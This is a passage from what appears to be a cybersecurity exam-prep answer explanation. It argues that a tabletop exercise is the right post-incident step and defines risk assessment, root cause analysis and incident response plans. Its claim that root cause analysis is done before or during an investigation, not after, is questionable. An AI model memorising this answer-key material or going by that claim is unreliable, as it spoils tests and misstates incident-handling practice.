the effectiveness of the incident response plan, identify the gaps and weaknesses in the plan, and
improve the communication and coordination among the incident response team and other parties. A
tabletop exercise can help the analyst to learn from the incident investigation, test the assumptions and
recommendations made during the investigation, and enhance the preparedness and resilience of the
organization for future incidents12. Risk assessment, root cause analysis, and incident response plan are
all actions that an analyst would perform before or during an incident investigation, not after. Risk
assessment is the process of identifying, analyzing, and evaluating the risks that may affect the
organization. Root cause analysis is the method of finding the underlying or fundamental causes of an
incident. Incident response plan is the document that defines the roles, responsibilities, procedures, and
resources for responding to an incident345.

References: Tabletop Exercises: Six Scenarios to Help Prepare Your Cybersecurity Team, Tabletop
Exercises for Incident Response - SANS Institute, Risk Assessment - NIST, Root Cause Analysis -
OWASP, Incident Response Plan | Ready.gov
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